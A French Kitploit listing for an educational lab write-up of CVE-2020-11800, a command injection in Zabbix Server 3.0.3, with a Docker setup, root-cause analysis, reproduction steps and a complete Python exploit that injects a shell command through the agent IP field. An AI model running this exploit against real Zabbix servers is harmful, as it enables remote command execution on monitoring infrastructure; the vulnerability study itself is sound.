Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2020-11800 — Exploit PoC pour CVE-2020-11800, une injection de commande dans Zabbix Server via l'auto-enregistrement d'un agent malveillant, avec livraison de payload en Python et brute-force de l'ID de l'hôte. | Kitploit
Outils/GitHubGitHub/ycseo-git/cve-2020-11800
Analyse des VulnérabilitésExploitationSécurité WebTests d'IntrusionCommandement et ContrôleDéveloppement de Charges Utiles
GitHubycseo-git/cve-2020-11800

CVE-2020-11800

Exploit PoC pour CVE-2020-11800, une injection de commande dans Zabbix Server via l'auto-enregistrement d'un agent malveillant, avec livraison de payload en Python et brute-force de l'ID de l'hôte.

Voir le dépôt
2il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Les sections requises par les directives de l'affectation sont marquées avec « (Required) ».

1. Environnement (Required)

Dockerfile (Required)

Cet environnement utilise un Dockerfile personnalisé basé sur l'image vulnérable du serveur Zabbix fournie par Vulhub.

root@kitploit:~
FROM vulhub/zabbix:3.0.3-server

Le Dockerfile construit une image locale basée sur l'environnement vulnérable du serveur Zabbix 3.0.3. Aucun paquet ni configuration supplémentaire n'a été ajouté pendant le processus de construction.


docker-compose.yml (Required)

L'environnement vulnérable est configuré à l'aide de Docker Compose.

L'environnement se compose de quatre services :

  • Zabbix Server
  • Zabbix Agent
  • Interface Web Zabbix
  • Base de données MySQL

Le service server est construit localement à l'aide du Dockerfile :

root@kitploit:~
server:
  build: .
  image: cve-2020-11800-server

Le conteneur MySQL importe automatiquement les fichiers d'initialisation SQL depuis le répertoire src/ à l'aide du montage de volume :

root@kitploit:~
volumes:
  - ./src/:/docker-entrypoint-initdb.d/

Cela permet au schéma de la base de données et aux données Zabbix initiales d'être chargés automatiquement au démarrage du conteneur.


Architecture des services (Required)

L'environnement fonctionne selon la structure suivante :

root@kitploit:~
[Browser]
    ↓
[Zabbix Web]
    ↓
[Zabbix Server]
    ↓
[MySQL]

[Agent] → [Server]

Zabbix Web

Fournit l'interface de gestion web accessible via le navigateur.

L'administrateur configure l'auto-enregistrement et exécute les opérations liées à la surveillance via cette interface.

Zabbix Server

Le composant central responsable de :

  • la gestion des agents
  • l'exécution des scripts
  • la logique de surveillance
  • le traitement des événements

La vulnérabilité d'injection de commandes est déclenchée à l'intérieur de ce conteneur.

Zabbix Agent

Agit en tant qu'hôte surveillé et communique avec le serveur Zabbix.

L'exploit abuse du mécanisme d'auto-enregistrement pendant le processus d'enregistrement de l'agent.

MySQL

Stocke les données de configuration Zabbix, les informations sur les hôtes et les données liées à la surveillance.


Images et versions (Required)

ServiceImageVersion
Zabbix Servervulhub/zabbix3.0.3-server
Zabbix Webvulhub/zabbix3.0.3-web
MySQLmysql5

L'environnement est basé sur l'environnement vulnérable Zabbix 3.0.3 fourni par Vulhub.

2. Cause racine (Required)

Description de la vulnérabilité (Required)

CVE-2020-11800 est une vulnérabilité d'injection de commandes dans la fonctionnalité Active Proxy Trapper du serveur Zabbix.

La vulnérabilité existe parce que le correctif de CVE-2017-2824 était incomplet. Un attaquant peut contourner le correctif d'origine à l'aide d'une charge utile de type IPv6 et exécuter des commandes arbitraires sur le serveur Zabbix.

La vulnérabilité est déclenchée pendant le processus d'auto-enregistrement lorsque le serveur traite des informations d'hôte contrôlées par l'utilisateur.


Analyse de la cause racine (Required)

La cause racine de la vulnérabilité est le traitement non sécurisé d'entrées contrôlées par l'utilisateur dans les commandes shell.

Pendant l'exécution des scripts, le serveur Zabbix utilise la valeur IP de l'hôte enregistré pour construire des commandes telles que :

root@kitploit:~
ping <host_ip>

Dans des conditions normales :

root@kitploit:~
ping 127.0.0.1

Cependant, si un attaquant enregistre un hôte en utilisant la charge utile suivante :

root@kitploit:~
ffff:::;touch /tmp/success2

la commande finale exécutée par le shell devient :

root@kitploit:~
ping ffff:::;touch /tmp/success2

Parce que le point-virgule (;) agit comme un séparateur de commandes shell, le shell interprète l'entrée comme deux commandes distinctes :

root@kitploit:~
ping ffff:::
touch /tmp/success2

Par conséquent, l'exécution de commandes arbitraires devient possible.

Contournement du correctif via IPv6

Le correctif d'origine de CVE-2017-2824 tentait de restreindre les valeurs d'entrée malveillantes.

Cependant, la logique de validation ne gérait pas correctement les entrées de type IPv6.

La charge utile :

root@kitploit:~
ffff:::;touch /tmp/success2

utilise un préfixe de type IPv6 (ffff:::) pour contourner la logique de validation existante tout en injectant des métacaractères shell.

Cela permet aux attaquants de contourner le correctif précédent et de continuer à exploiter la vulnérabilité d'injection de commandes.


Processus de déclenchement de la vulnérabilité (Required)

Le processus d'exploitation se déroule dans l'ordre suivant :

root@kitploit:~
Attacker
 ↓
Fake Agent Registration
 ↓
Malicious IP Stored
 ↓
Zabbix Script Execution
 ↓
Shell Command Construction
 ↓
Command Injection
 ↓
Arbitrary Command Execution

L'attaquant envoie d'abord une demande d'auto-enregistrement malveillante contenant un champ IP spécialement conçu.

Après l'enregistrement de l'hôte, le serveur Zabbix exécute un script de surveillance en utilisant la valeur IP de l'hôte stockée.

Pendant ce processus, la charge utile malveillante est interprétée par le shell, ce qui conduit à l'exécution de commandes arbitraires.


Flux d'attaque et impact (Required)

L'exploit permet aux attaquants d'exécuter des commandes arbitraires avec les privilèges du processus du serveur Zabbix.

Dans cet environnement, une exploitation réussie a créé le fichier suivant dans le conteneur du serveur :

root@kitploit:~
/tmp/success2

Cela confirme que les commandes shell injectées ont été exécutées avec succès.

Dans un environnement réel, une exploitation réussie pourrait permettre aux attaquants de :

  • exécuter des commandes système arbitraires
  • télécharger et exécuter des logiciels malveillants
  • effectuer une reconnaissance interne
  • pivoter vers d'autres systèmes
  • compromettre l'infrastructure de surveillance

La vulnérabilité est particulièrement dangereuse car les serveurs de surveillance ont souvent une visibilité sur plusieurs systèmes internes et composants d'infrastructure.

3. PoC (Required)

Aperçu du PoC (Required)

La preuve de concept (PoC) a été écrite en Python et communique directement avec le serveur Zabbix sur le port TCP 10051.

Le PoC effectue les actions suivantes :

  1. Envoie une demande d'auto-enregistrement malveillante
  2. Découvre par force brute les valeurs hostid valides
  3. Déclenche l'exécution du script à l'aide de la charge utile injectée

Code du PoC

root@kitploit:~
import sys
import socket
import json


def send(ip, data):
    conn = socket.create_connection((ip, 10051), 10)
    conn.send(json.dumps(data).encode())
    response = conn.recv(2048)
    conn.close()
    return response


if len(sys.argv) != 2:
    print("Usage: python3 exploit.py <target-ip>")
    sys.exit(1)


target = sys.argv[1]

payload = {
    "request": "active checks",
    "host": "vulhub",
    "ip": "ffff:::;touch /tmp/success2"
}

print("[*] Sending malicious auto-registration request...")
print(send(target, payload))

print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
    data = send(target, {
        "request": "command",
        "scriptid": 1,
        "hostid": str(i)
    })

    if data and b'failed' not in data:
        print("[+] hostid: %d" % i)
        print(data)

Analyse de la charge utile (Required)

La charge utile utilisée dans ce PoC est :

root@kitploit:~
ffff:::;touch /tmp/success2

Structure de la charge utile

PartieRôle
ffff:::Préfixe de type IPv6 utilisé pour contourner la validation
;Séparateur de commandes shell
touch /tmp/success2Commande arbitraire exécutée sur le serveur

La charge utile abuse du fait que le serveur concatène incorrectement les valeurs IP contrôlées par l'utilisateur dans les commandes shell.

Objectif

  • Enregistre un faux agent Zabbix
  • Stocke une valeur IP malveillante sur le serveur
  • Prépare la cible pour l'injection de commandes

La charge utile est délivrée via le champ ip pendant le processus d'auto-enregistrement.


Processus d'exécution du code du PoC (Required)

Demande d'auto-enregistrement

La première demande envoyée par le PoC tente d'enregistrer un hôte malveillant.

root@kitploit:~
payload = {
    "request": "active checks",
    "host": "vulhub",
    "ip": "ffff:::;touch /tmp/success2"
}

Force brute de l'ID d'hôte

Après l'enregistrement, le PoC tente de localiser un hostid valide.

root@kitploit:~
for i in range(10000, 10500):

Le PoC parcourt une plage d'ID d'hôtes possibles et tente de déclencher l'exécution du script.

Cette étape est nécessaire car le serveur attribue dynamiquement les ID d'hôtes après l'enregistrement.

Demande d'exécution de script

La demande suivante déclenche l'exécution de commandes :

root@kitploit:~
{
    "request": "command",
    "scriptid": 1,
    "hostid": str(i)
}

Paramètres

ParamètreDescription
requestDemande l'exécution du script
scriptidID du script Zabbix configuré
hostidID de l'hôte cible

Dans cet environnement, scriptid:1 correspond à un script lié à ping qui utilise la valeur IP de l'hôte pendant l'exécution de la commande.

Déclenchement de la vulnérabilité

Le serveur Zabbix construit en interne une commande shell similaire à :

root@kitploit:~
ping ffff:::;touch /tmp/success2

Le shell interprète cela comme :

root@kitploit:~
ping ffff:::
touch /tmp/success2

Par conséquent :

  • la commande ping échoue en raison d'une adresse IPv6 invalide
  • la commande touch injectée s'exécute avec succès

Sortie attendue

Pendant une exploitation réussie, la sortie suivante peut apparaître :

root@kitploit:~
ping: bad address 'ffff:::'

Cela indique que la charge utile a atteint l'étape d'exécution des commandes shell.

Une exploitation réussie est confirmée lorsque le fichier suivant existe dans le conteneur du serveur :

root@kitploit:~
/tmp/success2

4. Reproduction (Required)

Processus d'exécution du PoC et de l'exploit (Required)

Le flux d'exploitation complet est résumé ci-dessous :

root@kitploit:~
Start Docker Environment
        ↓
Access Zabbix Web Interface
        ↓
Enable Auto Registration
        ↓
Run exploit.py
        ↓
Register Malicious Host
        ↓
Trigger Script Execution
        ↓
Command Injection
        ↓
Verify /tmp/success2

Étapes réelles d'exécution de l'exploit (Required)

Configuration de l'environnement

Démarrez l'environnement vulnérable à l'aide de Docker Compose.

root@kitploit:~
docker compose up -d

Vérifiez que tous les conteneurs fonctionnent correctement.

root@kitploit:~
docker compose ps

L'environnement devrait inclure les conteneurs suivants :

  • Zabbix Server
  • Zabbix Agent
  • Zabbix Web
  • MySQL

Accès à l'interface web

Ouvrez le navigateur et accédez à l'interface web Zabbix.

root@kitploit:~
http://127.0.0.1:8080

Identifiants par défaut :

root@kitploit:~
Username: admin
Password: zabbix

Activation de l'auto-enregistrement

L'exploit nécessite que la fonctionnalité d'auto-enregistrement soit activée.

Accédez à :

root@kitploit:~
Configuration → Actions

Changez la source d'événements en :

root@kitploit:~
Auto registration

Créez une nouvelle action et configurez l'opération suivante :

root@kitploit:~
Operation Type: Add Host

Cela permet aux agents nouvellement enregistrés d'être automatiquement ajoutés au serveur.

Exécution de l'exploit

Exécutez le script PoC.

root@kitploit:~
python3 exploit.py 127.0.0.1

Le PoC envoie une demande d'auto-enregistrement malveillante et tente de déclencher l'exécution de commandes en utilisant plusieurs ID d'hôtes.


Analyse des résultats (Required)

Exemple de sortie

Pendant une exploitation réussie, une sortie similaire à la suivante peut apparaître :

root@kitploit:~
hostid: 10106
{"response":"success","data":"ping: bad address 'ffff:::'"}

Cela indique que la charge utile a atteint le chemin d'exécution des commandes shell vulnérable.

Vérification de l'exécution de la commande

Accédez au conteneur du serveur Zabbix.

root@kitploit:~
docker exec -it cve-2020-11800-server-1 bash

Vérifiez si la commande injectée a créé le fichier cible.

root@kitploit:~
ls -l /tmp/success2

Une exploitation réussie produit une sortie similaire à :

root@kitploit:~
-rw-rw-r-- 1 zabbix zabbix 0 May 10 19:48 /tmp/success2

Cela confirme que des commandes arbitraires ont été exécutées avec succès dans le conteneur du serveur Zabbix.


Captures d'écran (Required)

Les captures d'écran suivantes sont incluses dans le répertoire screenshots/ :

Auto-enregistrement

Résultat de l'exécution du PoC

Télécharger l’outil